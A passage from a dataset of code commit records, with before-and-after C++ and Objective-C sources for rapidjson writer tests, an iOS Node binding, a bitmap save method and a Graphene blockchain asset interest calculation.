\\\"cents\\\":\\\"\\xC2\\xA2\\\", \\\"euro\\\":\\\"\\xE2\\x82\\xAC\\\", \\\"gclef\\\":\\\"\\xF0\\x9D\\x84\\x9E\\\" } \");\r\n\tStringBuffer buffer;\r\n\tWriter<StringBuffer, UTF16<>, UTF8<> > writer(buffer);\r\n\tGenericReader<UTF8<>, UTF16<> > reader;\r\n\treader.Parse<0>(s, writer);\r\n\tEXPECT_STREQ(\"{\\\"hello\\\":\\\"world\\\",\\\"t\\\":true,\\\"f\\\":false,\\\"n\\\":null,\\\"i\\\":123,\\\"pi\\\":3.1416,\\\"a\\\":[1,2,3],\\\"dollar\\\":\\\"\\x24\\\",\\\"cents\\\":\\\"\\xC2\\xA2\\\",\\\"euro\\\":\\\"\\xE2\\x82\\xAC\\\",\\\"gclef\\\":\\\"\\xF0\\x9D\\x84\\x9E\\\"}\", buffer.GetString());\r\n}\r\n\r\n#include <sstream>\r\n\r\nclass OStreamWrapper {\r\npublic:\r\n\ttypedef char Ch;\r\n\r\n\tOStreamWrapper(std::ostream& os) : os_(os) {}\r\n\r\n\tCh Peek() const { assert(false); return '\\0'; }\r\n\tCh Take() { assert(false); return '\\0'; }\r\n\tsize_t Tell() const { }\r\n\r\n\tCh* PutBegin() { assert(false); return 0; }\r\n\tvoid Put(Ch c) { os_.put(c); }\r\n\tvoid Flush() { os_.flush(); }\r\n\tsize_t PutEnd(Ch*) { assert(false); return 0; }\r\n\r\nprivate:\r\n\tOStreamWrapper(const OStreamWrapper&);\r\n\tOStreamWrapper& operator=(const OStreamWrapper&);\r\n\r\n\tstd::ostream& os_;\r\n};\r\n\r\nTEST(Writer, OStreamWrapper) {\r\n\tStringStream s(\"{ \\\"hello\\\" : \\\"world\\\", \\\"t\\\" : true , \\\"f\\\" : false, \\\"n\\\": null, \\\"i\\\":123, \\\"pi\\\": 3.1416, \\\"a\\\":[1, 2, 3] } \");\r\n\t\r\n\tstd::stringstream ss;\r\n\tOStreamWrapper os(ss);\r\n\t\r\n\tWriter<OStreamWrapper> writer(os);\r\n\r\n\tReader reader;\r\n\treader.Parse<0>(s, writer);\r\n\t\r\n\tstd::string actual = ss.str();\r\n\tEXPECT_STREQ(\"{\\\"hello\\\":\\\"world\\\",\\\"t\\\":true,\\\"f\\\":false,\\\"n\\\":null,\\\"i\\\":123,\\\"pi\\\":3.1416,\\\"a\\\":[1,2,3]}\", actual.c_str());\r\n}\r\n<commit_msg>Fixes compilation error.<commit_after>#include \"unittest.h\"\r\n#include \"rapidjson\/document.h\"\r\n#include \"rapidjson\/reader.h\"\r\n#include \"rapidjson\/writer.h\"\r\n#include \"rapidjson\/stringbuffer.h\"\r\n\r\nusing namespace rapidjson;\r\n\r\nTEST(Writer, Compact) {\r\n\tStringStream s(\"{ \\\"hello\\\" : \\\"world\\\", \\\"t\\\" : true , \\\"f\\\" : false, \\\"n\\\": null, \\\"i\\\":123, \\\"pi\\\": 3.1416, \\\"a\\\":[1, 2, 3] } \");\r\n\tStringBuffer buffer;\r\n\tWriter<StringBuffer> writer(buffer);\r\n\tReader reader;\r\n\treader.Parse<0>(s, writer);\r\n\tEXPECT_STREQ(\"{\\\"hello\\\":\\\"world\\\",\\\"t\\\":true,\\\"f\\\":false,\\\"n\\\":null,\\\"i\\\":123,\\\"pi\\\":3.1416,\\\"a\\\":[1,2,3]}\", buffer.GetString());\r\n\tEXPECT_EQ(77u, buffer.GetSize());\r\n}\r\n\r\n\/\/ json -> parse -> writer -> json\r\n#define TEST_ROUNDTRIP(json) \\\r\n\t{ \\\r\n\t\tStringStream s(json); \\\r\n\t\tStringBuffer buffer; \\\r\n\t\tWriter<StringBuffer> writer(buffer); \\\r\n\t\tReader reader; \\\r\n\t\treader.Parse<0>(s, writer); \\\r\n\t\tEXPECT_STREQ(json, buffer.GetString()); \\\r\n\t}\r\n\r\nTEST(Writer, Int) {\r\n\tTEST_ROUNDTRIP(\"[-1]\");\r\n\tTEST_ROUNDTRIP(\"[-123]\");\r\n\tTEST_ROUNDTRIP(\"[-2147483648]\");\r\n}\r\n\r\nTEST(Writer, UInt) {\r\n\tTEST_ROUNDTRIP(\"[0]\");\r\n\tTEST_ROUNDTRIP(\"[1]\");\r\n\tTEST_ROUNDTRIP(\"[123]\");\r\n\tTEST_ROUNDTRIP(\"[2147483647]\");\r\n\tTEST_ROUNDTRIP(\"[4294967295]\");\r\n}\r\n\r\nTEST(Writer, Int64) {\r\n\tTEST_ROUNDTRIP(\"[-1234567890123456789]\");\r\n\tTEST_ROUNDTRIP(\"[-9223372036854775808]\");\r\n}\r\n\r\nTEST(Writer, Uint64) {\r\n\tTEST_ROUNDTRIP(\"[1234567890123456789]\");\r\n\tTEST_ROUNDTRIP(\"[9223372036854775807]\");\r\n}\r\n\r\nTEST(Writer, String) {\r\n\tTEST_ROUNDTRIP(\"[\\\"Hello\\\"]\");\r\n\tTEST_ROUNDTRIP(\"[\\\"Hello\\\\u0000World\\\"]\");\r\n\tTEST_ROUNDTRIP(\"[\\\"\\\\\\\"\\\\\\\\\/\\\\b\\\\f\\\\n\\\\r\\\\t\\\"]\");\r\n}\r\n\r\nTEST(Writer,DoublePrecision) {\r\n\tconst char json[] = \"[1.2345,1.2345678,0.123456789012,1234567.8]\";\r\n\r\n\tStringBuffer buffer;\r\n\tWriter<StringBuffer> writer(buffer);\r\n\r\n\tconst int kDefaultDoublePrecision = 6;\r\n\t\/\/ handling the double precision\r\n\tEXPECT_EQ(writer.GetDoublePrecision(), kDefaultDoublePrecision);\r\n\twriter.SetDoublePrecision(17);\r\n\tEXPECT_EQ(writer.GetDoublePrecision(), 17);\r\n\twriter.SetDoublePrecision(-1); \/\/ negative equivalent to reset\r\n\tEXPECT_EQ(writer.GetDoublePrecision(), kDefaultDoublePrecision);\r\n\twriter.SetDoublePrecision(1);\r\n\twriter.SetDoublePrecision(); \/\/ reset again\r\n\tEXPECT_EQ(writer.GetDoublePrecision(), kDefaultDoublePrecision);\r\n\r\n\t{ \/\/ write with explicitly increased precision\r\n\t\tStringStream s(json);\r\n\t\tReader reader;\r\n\t\treader.Parse<0>(s, writer.SetDoublePrecision(12));\r\n\t\tEXPECT_EQ(writer.GetDoublePrecision(), 12);\r\n\t\tEXPECT_STREQ(json, buffer.GetString());\r\n\t\tbuffer.Clear();\r\n\t}\r\n\t{ \/\/ explicit individual double precisions\r\n\t\twriter.SetDoublePrecision(2)\r\n\t\t\t.StartArray()\r\n\t\t\t.Double(1.2345,5)\r\n\t\t\t.Double(1.2345678,9)\r\n\t\t\t.Double(0.123456789012,12)\r\n\t\t\t.Double(1234567.8,8)\r\n\t\t\t.EndArray();\r\n\r\n\t\tEXPECT_EQ(writer.GetDoublePrecision(), 2);\r\n\t\tEXPECT_STREQ(json, buffer.GetString());\r\n\t\tbuffer.Clear();\r\n\t}\r\n\t{ \/\/ write with default precision (output with precision loss)\r\n\t\tDocument d;\r\n\t\td.Parse<0>(json);\r\n\t\td.Accept(writer.SetDoublePrecision());\r\n\r\n\t\t\/\/ parsed again to avoid platform-dependent floating point outputs\r\n\t\t\/\/ (e.g. width of exponents)\r\n\t\td.Parse<0>(buffer.GetString());\r\n\t\tEXPECT_EQ(writer.GetDoublePrecision(), kDefaultDoublePrecision);\r\n\t\tEXPECT_DOUBLE_EQ(d[0u].GetDouble(), 1.2345);\r\n\t\tEXPECT_DOUBLE_EQ(d[1u].GetDouble(), 1.23457);\r\n\t\tEXPECT_DOUBLE_EQ(d[2u].GetDouble(), 0.123457);\r\n\t\tEXPECT_DOUBLE_EQ(d[3u].GetDouble(), 1234570);\r\n\t\tbuffer.Clear();\r\n\t}\r\n}\r\n\r\nTEST(Writer, Transcode) {\r\n\t\/\/ UTF8 -> UTF16 -> UTF8\r\n\tStringStream s(\"{ \\\"hello\\\" : \\\"world\\\", \\\"t\\\" : true , \\\"f\\\" : false, \\\"n\\\": null, \\\"i\\\":123, \\\"pi\\\": 3.1416, \\\"a\\\":[1, 2, 3], \\\"dollar\\\":\\\"\\x24\\\", \\\"cents\\\":\\\"\\xC2\\xA2\\\", \\\"euro\\\":\\\"\\xE2\\x82\\xAC\\\", \\\"gclef\\\":\\\"\\xF0\\x9D\\x84\\x9E\\\" } \");\r\n\tStringBuffer buffer;\r\n\tWriter<StringBuffer, UTF16<>, UTF8<> > writer(buffer);\r\n\tGenericReader<UTF8<>, UTF16<> > reader;\r\n\treader.Parse<0>(s, writer);\r\n\tEXPECT_STREQ(\"{\\\"hello\\\":\\\"world\\\",\\\"t\\\":true,\\\"f\\\":false,\\\"n\\\":null,\\\"i\\\":123,\\\"pi\\\":3.1416,\\\"a\\\":[1,2,3],\\\"dollar\\\":\\\"\\x24\\\",\\\"cents\\\":\\\"\\xC2\\xA2\\\",\\\"euro\\\":\\\"\\xE2\\x82\\xAC\\\",\\\"gclef\\\":\\\"\\xF0\\x9D\\x84\\x9E\\\"}\", buffer.GetString());\r\n}\r\n\r\n#include <sstream>\r\n\r\nclass OStreamWrapper {\r\npublic:\r\n\ttypedef char Ch;\r\n\r\n\tOStreamWrapper(std::ostream& os) : os_(os) {}\r\n\r\n\tCh Peek() const { assert(false); return '\\0'; }\r\n\tCh Take() { assert(false); return '\\0'; }\r\n\tsize_t Tell() const { return 0; }\r\n\r\n\tCh* PutBegin() { assert(false); return 0; }\r\n\tvoid Put(Ch c) { os_.put(c); }\r\n\tvoid Flush() { os_.flush(); }\r\n\tsize_t PutEnd(Ch*) { assert(false); return 0; }\r\n\r\nprivate:\r\n\tOStreamWrapper(const OStreamWrapper&);\r\n\tOStreamWrapper& operator=(const OStreamWrapper&);\r\n\r\n\tstd::ostream& os_;\r\n};\r\n\r\nTEST(Writer, OStreamWrapper) {\r\n\tStringStream s(\"{ \\\"hello\\\" : \\\"world\\\", \\\"t\\\" : true , \\\"f\\\" : false, \\\"n\\\": null, \\\"i\\\":123, \\\"pi\\\": 3.1416, \\\"a\\\":[1, 2, 3] } \");\r\n\t\r\n\tstd::stringstream ss;\r\n\tOStreamWrapper os(ss);\r\n\t\r\n\tWriter<OStreamWrapper> writer(os);\r\n\r\n\tReader reader;\r\n\treader.Parse<0>(s, writer);\r\n\t\r\n\tstd::string actual = ss.str();\r\n\tEXPECT_STREQ(\"{\\\"hello\\\":\\\"world\\\",\\\"t\\\":true,\\\"f\\\":false,\\\"n\\\":null,\\\"i\\\":123,\\\"pi\\\":3.1416,\\\"a\\\":[1,2,3]}\", actual.c_str());\r\n}\r\n<|endoftext|>"} {"text":"<commit_before>#import <v8.h>\n#import <node.h>\n#import <AudioToolbox\/AudioToolbox.h>\n#import <UIKit\/UIKit.h>\n#import \"graphicServices.h\"\n#import \"notifications.h\"\n#import \"telephony.h\"\n#import \"compatibility.h\" \/\/ ...meh\n\nusing namespace node;\nusing namespace v8;\n\nclass Binding {\n public:\n\n static void Init(v8::Handle<Object> target) {\n HandleScope scope;\n\n UIDevice *aDevice = [UIDevice currentDevice];\n [aDevice beginGeneratingDeviceOrientationNotifications];\n [aDevice setBatteryMonitoringEnabled:YES];\n\n NODE_SET_METHOD(target, \"vibrate\", Vibrate);\n NODE_SET_METHOD(target, \"device\", Device);\n NODE_SET_METHOD(target, \"sendSMS\", Telephony::SendSMS);\n }\n\n static v8::Handle<Value> Vibrate(const Arguments& args) {\n AudioServicesPlaySystemSound(kSystemSoundID_Vibrate);\n return Undefined();\n }\n\n static v8::Handle<Value> Device(const Arguments& args) {\n HandleScope scope;\n Local<Object> result = Object::New();\n\n UIDevice *aDevice = [UIDevice currentDevice];\n\n result->Set(String::NewSymbol(\"batteryLevel\"), Number::New([aDevice batteryLevel]));\n result->Set(String::NewSymbol(\"batteryState\"), Integer::New([aDevice batteryState]));\n result->Set(String::NewSymbol(\"model\"), String::NewSymbol([[aDevice model] UTF8String]));\n result->Set(String::NewSymbol(\"localizedModel\"), String::NewSymbol([[aDevice localizedModel] UTF8String]));\n result->Set(String::NewSymbol(\"orientation\"), Integer::New([aDevice orientation]));\n result->Set(String::NewSymbol(\"name\"), String::NewSymbol([[aDevice name] UTF8String]));\n result->Set(String::NewSymbol(\"systemName\"), String::NewSymbol([[aDevice systemName] UTF8String]));\n result->Set(String::NewSymbol(\"systemVersion\"), String::NewSymbol([[aDevice systemVersion] UTF8String]));\n result->Set(String::NewSymbol(\"uniqueIdentifier\"), String::NewSymbol([[aDevice uniqueIdentifier] UTF8String]));\n\n return scope.Close(result);\n }\n\n};\n\nextern \"C\" {\n static void init (v8::Handle<Object> target) {\n Binding::Init(target);\n GraphicServices::Init(target);\n Notifications::Init(target);\n }\n\n NODE_MODULE(binding, init);\n}\n<commit_msg>Remove call to NODE_MODULES macro. WTF did that do anyways?<commit_after>#import <v8.h>\n#import <node.h>\n#import <AudioToolbox\/AudioToolbox.h>\n#import <UIKit\/UIKit.h>\n#import \"graphicServices.h\"\n#import \"notifications.h\"\n#import \"telephony.h\"\n#import \"compatibility.h\" \/\/ ...meh\n\nusing namespace node;\nusing namespace v8;\n\nclass Binding {\n public:\n\n static void Init(v8::Handle<Object> target) {\n HandleScope scope;\n\n UIDevice *aDevice = [UIDevice currentDevice];\n [aDevice beginGeneratingDeviceOrientationNotifications];\n [aDevice setBatteryMonitoringEnabled:YES];\n\n NODE_SET_METHOD(target, \"vibrate\", Vibrate);\n NODE_SET_METHOD(target, \"device\", Device);\n NODE_SET_METHOD(target, \"sendSMS\", Telephony::SendSMS);\n }\n\n static v8::Handle<Value> Vibrate(const Arguments& args) {\n AudioServicesPlaySystemSound(kSystemSoundID_Vibrate);\n return Undefined();\n }\n\n static v8::Handle<Value> Device(const Arguments& args) {\n HandleScope scope;\n Local<Object> result = Object::New();\n\n UIDevice *aDevice = [UIDevice currentDevice];\n\n result->Set(String::NewSymbol(\"batteryLevel\"), Number::New([aDevice batteryLevel]));\n result->Set(String::NewSymbol(\"batteryState\"), Integer::New([aDevice batteryState]));\n result->Set(String::NewSymbol(\"model\"), String::NewSymbol([[aDevice model] UTF8String]));\n result->Set(String::NewSymbol(\"localizedModel\"), String::NewSymbol([[aDevice localizedModel] UTF8String]));\n result->Set(String::NewSymbol(\"orientation\"), Integer::New([aDevice orientation]));\n result->Set(String::NewSymbol(\"name\"), String::NewSymbol([[aDevice name] UTF8String]));\n result->Set(String::NewSymbol(\"systemName\"), String::NewSymbol([[aDevice systemName] UTF8String]));\n result->Set(String::NewSymbol(\"systemVersion\"), String::NewSymbol([[aDevice systemVersion] UTF8String]));\n result->Set(String::NewSymbol(\"uniqueIdentifier\"), String::NewSymbol([[aDevice uniqueIdentifier] UTF8String]));\n\n return scope.Close(result);\n }\n\n};\n\nextern \"C\" void init (v8::Handle<Object> target) {\n Binding::Init(target);\n GraphicServices::Init(target);\n Notifications::Init(target);\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"bitmap.h\"\n#include \"except.h\"\n\n\nBitmap::Bitmap(std::string filepath)\n : _filepath(filepath)\n , _data(nullptr)\n , _width(0)\n , _height(0)\n{\n FILE * fptr = fopen(_filepath.c_str(), \"rb\");\n if (fptr == nullptr)\n throw FileError();\n\n uint8_t bmp_header[54];\n fread(bmp_header, sizeof(uint8_t), 54, fptr);\n _width = *(int *)&bmp_header[18];\n _height = *(int *)&bmp_header[22];\n\n size_t num_bytes = 3 * _width * _height;\n _data = new uint8_t[num_bytes];\n fread(_data, sizeof(uint8_t), num_bytes, fptr);\n\n fclose(fptr);\n}\n\nBitmap::~Bitmap()\n{\n save();\n if (_data != nullptr)\n delete [] _data;\n}\n\nuint8_t * const Bitmap::get_data() const\n{\n return _data;\n}\n\nsize_t Bitmap::get_width() const\n{\n return _width;\n}\n\nsize_t Bitmap::get_height() const\n{\n return _height;\n}\n\nstd::string Bitmap::save() const\n{\n \/\/ TODO\n return \"\";\n}\n<commit_msg>Issue #14: implemented save method<commit_after>#include \"bitmap.h\"\n#include \"except.h\"\n\n\nstd::string timestamp(std::string filepath);\n\nBitmap::Bitmap(std::string filepath)\n : _filepath(filepath)\n , _data(nullptr)\n , _width(0)\n , _height(0)\n{\n FILE * fptr = fopen(_filepath.c_str(), \"rb\");\n if (fptr == nullptr)\n throw FileError();\n\n uint8_t bmp_header[54];\n fread(bmp_header, sizeof(uint8_t), 54, fptr);\n _width = *(int *)&bmp_header[18];\n _height = *(int *)&bmp_header[22];\n\n size_t num_bytes = 3 * _width * _height;\n _data = new uint8_t[num_bytes];\n fread(_data, sizeof(uint8_t), num_bytes, fptr);\n\n fclose(fptr);\n}\n\nBitmap::~Bitmap()\n{\n save();\n if (_data != nullptr)\n delete [] _data;\n}\n\nuint8_t * const Bitmap::get_data() const\n{\n return _data;\n}\n\nsize_t Bitmap::get_width() const\n{\n return _width;\n}\n\nsize_t Bitmap::get_height() const\n{\n return _height;\n}\n\nstd::string Bitmap::save() const\n{\n std::string filepath_ts = timestamp(_filepath);\n FILE * fptr = fopen(filepath_ts.c_str(), \"wb\");\n if (fptr == nullptr)\n throw FileError();\n\n unsigned char bmp_header[54] = {'B','M',\n 0, 0, 0, 0,\n 0, 0,\n 0, 0,\n 54, 0, 0, 0,\n 40, 0, 0, 0,\n 0, 0, 0, 0,\n 0, 0, 0, 0,\n 1, 0,\n 24, 0};\n\n size_t num_bytes = 3 * _width * _height;\n *(int *)&bmp_header[2] = (int)(54 + num_bytes);\n *(int *)&bmp_header[18] = (int) _width;\n *(int *)&bmp_header[22] = (int) _height;\n\n fwrite(bmp_header, sizeof(uint8_t), 54, fptr);\n\n fwrite(_data, sizeof(uint8_t), num_bytes, fptr);\n\n fclose(fptr);\n\n return filepath_ts;\n}\n\nstd::string timestamp(std::string filepath)\n{\n \/\/ TODO\n return \"\";\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (c) 2015 Cryptonomex, Inc., and contributors.\n *\n * The MIT License\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n *\/\n#include <graphene\/chain\/asset_object.hpp>\n#include <graphene\/chain\/database.hpp>\n\nusing namespace graphene::chain;\nusing namespace boost::multiprecision;\n\nshare_type asset_lock_data_object::get_profit(share_type tolocking_balance,uint32_t lock_period,const database &_db)const\n{\n\treturn (asset(tolocking_balance, asset_id)*_get_interest(lock_period, _db) - asset(tolocking_balance, asset_id)).amount;\n}\n\nInterest asset_lock_data_object::_get_interest(uint32_t lock_period,const database &_db)const{\n \n asset_object target_asset_obj=asset_id(_db);\n int32_t lock_days=lock_period\/FCC_INTEREST_DAY; \n share_type max_to_deposit_balance_year = target_asset_obj.dynamic_data(_db).current_supply - (lock_coin_day \/ coin_day(FCC_INTEREST_YEAR)).value.to_uint64();\n asset base_asset(FCC_INTEREST_BASE_SUPPLY, asset_id);\n\n static Interest top_of_interest = Interest();\n\n if (top_of_interest == Interest()) \/\/ yet not calculated\n {\n\t asset result = base_asset;\n\t for (uint32_t i = 0; i<FCC_INTEREST_DAYS_YEAR; i++)\n\t {\n\t\t result = result*nominal_interest_perday;\n\t }\n\t top_of_interest = Interest(base_asset, result);\n }\n\n \n auto result = base_asset;\n for (uint32_t i = 0; i<lock_days; i++)\n {\n\t result = result*nominal_interest_perday;\n }\n \n int32_t pecent_of_year = (lock_days - FCC_INTEREST_DAYS_YEAR)*GRAPHENE_100_PERCENT \/ FCC_INTEREST_DAYS_YEAR;\n\n int64_t reward_rate = GRAPHENE_100_PERCENT + pecent_of_year * reward_coefficient \/ GRAPHENE_100_PERCENT;\n \n uint128_t pre_profile = uint128_t((result - base_asset).amount.value)*uint128_t(reward_rate) \/ GRAPHENE_100_PERCENT;\n\n auto actual_profile = pre_profile * interest_pool.value \/ (asset(max_to_deposit_balance_year, asset_id) * top_of_interest).amount.value;\n\n asset res_asset = asset(actual_profile.convert_to<uint64_t>(), asset_id) + base_asset;\n\n return Interest(base_asset,res_asset);\n}\n\nshare_type asset_bitasset_data_object::max_force_settlement_volume(share_type current_supply) const\n{\n if( options.maximum_force_settlement_volume == 0 )\n return 0;\n if( options.maximum_force_settlement_volume == GRAPHENE_100_PERCENT )\n return current_supply + force_settled_volume;\n\n fc::uint128 volume = current_supply.value + force_settled_volume.value;\n volume *= options.maximum_force_settlement_volume;\n volume \/= GRAPHENE_100_PERCENT;\n return volume.to_uint64();\n}\n\nvoid graphene::chain::asset_bitasset_data_object::update_median_feeds(time_point_sec current_time)\n{\n current_feed_publication_time = current_time;\n vector<std::reference_wrapper<const price_feed>> current_feeds;\n for( const pair<account_id_type, pair<time_point_sec,price_feed>>& f : feeds )\n {\n if( (current_time - f.second.first).to_seconds() < options.feed_lifetime_sec &&\n f.second.first != time_point_sec() )\n {\n current_feeds.emplace_back(f.second.second);\n current_feed_publication_time = std::min(current_feed_publication_time, f.second.first);\n }\n }\n\n \/\/ If there are no valid feeds, or the number available is less than the minimum to calculate a median...\n if( current_feeds.size() < options.minimum_feeds )\n {\n \/\/... don't calculate a median, and set a null feed\n current_feed_publication_time = current_time;\n current_feed = price_feed();\n return;\n }\n if( current_feeds.size() == 1 )\n {\n current_feed = std::move(current_feeds.front());\n return;\n }\n\n \/\/ *** Begin Median Calculations ***\n price_feed median_feed;\n const auto median_itr = current_feeds.begin() + current_feeds.size() \/ 2;\n#define CALCULATE_MEDIAN_VALUE(r, data, field_name) \\\n std::nth_element( current_feeds.begin(), median_itr, current_feeds.end(), \\\n [](const price_feed& a, const price_feed& b) { \\\n return a.field_name < b.field_name; \\\n }); \\\n median_feed.field_name = median_itr->get().field_name;\n\n BOOST_PP_SEQ_FOR_EACH( CALCULATE_MEDIAN_VALUE, ~, GRAPHENE_PRICE_FEED_FIELDS )\n#undef CALCULATE_MEDIAN_VALUE\n \/\/ *** End Median Calculations ***\n\n current_feed = median_feed;\n}\n\n\n\nasset asset_object::amount_from_string(string amount_string) const\n{ try {\n bool negative_found = false;\n bool decimal_found = false;\n for( const char c : amount_string )\n {\n if( isdigit( c ) )\n continue;\n\n if( c == '-' && !negative_found )\n {\n negative_found = true;\n continue;\n }\n\n if( c == '.' && !decimal_found )\n {\n decimal_found = true;\n continue;\n }\n\n FC_THROW( (amount_string) );\n }\n\n share_type satoshis = 0;\n\n share_type scaled_precision = asset::scaled_precision( precision );\n\n const auto decimal_pos = amount_string.find( '.' );\n const string lhs = amount_string.substr( negative_found, decimal_pos );\n if( !lhs.empty() )\n satoshis += fc::safe<int64_t>(std::stoll(lhs)) *= scaled_precision;\n\n if( decimal_found )\n {\n const size_t max_rhs_size = std::to_string( scaled_precision.value ).substr( 1 ).size();\n\n string rhs = amount_string.substr( decimal_pos + 1 );\n FC_ASSERT( rhs.size() <= max_rhs_size );\n\n while( rhs.size() < max_rhs_size )\n rhs += '0';\n\n if( !rhs.empty() )\n satoshis += std::stoll( rhs );\n }\n\n FC_ASSERT( satoshis <= GRAPHENE_MAX_SHARE_SUPPLY );\n\n if( negative_found )\n satoshis *= -1;\n\n return amount(satoshis);\n } FC_CAPTURE_AND_RETHROW( (amount_string) ) }\n\nstring asset_object::amount_to_string(share_type amount) const\n{\n share_type scaled_precision = 1;\n for( uint8_t i = 0; i < precision; ++i )\n scaled_precision *= 10;\n assert(scaled_precision > 0);\n\n string result = fc::to_string(amount.value \/ scaled_precision.value);\n auto decimals = amount.value % scaled_precision.value;\n if( decimals )\n result += \".\" + fc::to_string(scaled_precision.value + decimals).erase(0,1);\n return result;\n}\n<commit_msg>fix asset overflow issue<commit_after>\/*\n * Copyright (c) 2015 Cryptonomex, Inc., and contributors.\n *\n * The MIT License\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n *\/\n#include <graphene\/chain\/asset_object.hpp>\n#include <graphene\/chain\/database.hpp>\n\nusing namespace graphene::chain;\nusing namespace boost::multiprecision;\n\nshare_type asset_lock_data_object::get_profit(share_type tolocking_balance,uint32_t lock_period,const database &_db)const\n{\n\treturn (asset(tolocking_balance, asset_id)*_get_interest(lock_period, _db) - asset(tolocking_balance, asset_id)).amount;\n}\n\nInterest asset_lock_data_object::_get_interest(uint32_t lock_period,const database &_db)const{\n \n asset_object target_asset_obj=asset_id(_db);\n int32_t lock_days=lock_period\/FCC_INTEREST_DAY; \n share_type max_to_deposit_balance_year = target_asset_obj.dynamic_data(_db).current_supply - (lock_coin_day \/ coin_day(FCC_INTEREST_YEAR)).value.to_uint64();\n asset base_asset(FCC_INTEREST_BASE_SUPPLY, asset_id);\n\n static Interest top_of_interest = Interest();\n\n if (top_of_interest == Interest()) \/\/ yet not calculated\n {\n\t asset result = base_asset;\n\t for (uint32_t i = 0; i<FCC_INTEREST_DAYS_YEAR; i++)\n\t {\n\t\t result = result*nominal_interest_perday;\n\t }\n\t top_of_interest = Interest(base_asset, result);\n }\n\n \n auto result = base_asset;\n for (uint32_t i = 0; i<lock_days; i++)\n {\n\t result = result*nominal_interest_perday;\n }\n \n int32_t pecent_of_year = (lock_days - FCC_INTEREST_DAYS_YEAR)*GRAPHENE_100_PERCENT \/ FCC_INTEREST_DAYS_YEAR;\n\n int64_t reward_rate = GRAPHENE_100_PERCENT + pecent_of_year * reward_coefficient \/ GRAPHENE_100_PERCENT;\n \n uint128_t pre_profile = uint128_t((result - base_asset).amount.value)*uint128_t(reward_rate) \/ GRAPHENE_100_PERCENT;\n\n auto actual_profile = pre_profile * interest_pool.value \/ (asset(max_to_deposit_balance_year \/ 10, asset_id) * top_of_interest).amount.value \/10;\n\n asset res_asset = asset(actual_profile.convert_to<uint64_t>(), asset_id) + base_asset;\n\n return Interest(base_asset,res_asset);\n}\n\nshare_type asset_bitasset_data_object::max_force_settlement_volume(share_type current_supply) const\n{\n if( options.maximum_force_settlement_volume == 0 )\n return 0;\n if( options.maximum_force_settlement_volume == GRAPHENE_100_PERCENT )\n return current_supply + force_settled_volume;\n\n fc::uint128 volume = current_supply.value + force_settled_volume.value;\n volume *= options.maximum_force_settlement_volume;\n volume \/= GRAPHENE_100_PERCENT;\n return volume.to_uint64();\n}\n\nvoid graphene::chain::asset_bitasset_data_object::update_median_feeds(time_point_sec current_time)\n{\n current_feed_publication_time = current_time;\n vector<std::reference_wrapper<const price_feed>> current_feeds;\n for( const pair<account_id_type, pair<time_point_sec,price_feed>>& f : feeds )\n {\n if( (current_time - f.second.first).to_seconds() < options.feed_lifetime_sec &&\n f.second.first != time_point_sec() )\n {\n current_feeds.emplace_back(f.second.second);\n current_feed_publication_time = std::min(current_feed_publication_time, f.second.first);\n }\n }\n\n \/\/ If there are no valid feeds, or the number available is less than the minimum to calculate a median...\n if( current_feeds.size() < options.minimum_feeds )\n {\n \/\/... don't calculate a median, and set a null feed\n current_feed_publication_time = current_time;\n current_feed = price_feed();\n return;\n }\n if( current_feeds.size() == 1 )\n {\n current_feed = std::move(current_feeds.front());\n return;\n }\n\n \/\/ *** Begin Median Calculations ***\n price_feed median_feed;\n const auto median_itr = current_feeds.begin() + current_feeds.size() \/ 2;\n#define CALCULATE_MEDIAN_VALUE(r, data, field_name) \\\n std::nth_element( current_feeds.begin(), median_itr, current_feeds.end(), \\\n [](const price_feed& a, const price_feed& b) { \\\n return a.field_name < b.field_name; \\\n }); \\\n median_feed.field_name = median_itr->get().field_name;\n\n BOOST_PP_SEQ_FOR_EACH( CALCULATE_MEDIAN_VALUE, ~, GRAPHENE_PRICE_FEED_FIELDS )\n#undef CALCULATE_MEDIAN_VALUE\n \/\/ *** End Median Calculations ***\n\n current_feed = median_feed;\n}\n\n\n\nasset asset_object::amount_from_string(string amount_string) const\n{ try {\n bool negative_found = false;\n bool decimal_found = false;\n for( const char c : amount_string )\n {\n if( isdigit( c ) )\n continue;\n\n if( c == '-' && !negative_found )\n {\n negative_found = true;\n continue;\n }\n\n if( c == '.' && !decimal_found )\n {\n decimal_found = true;\n continue;\n }\n\n FC_THROW( (amount_string) );\n }\n\n share_type satoshis = 0;\n\n share_type 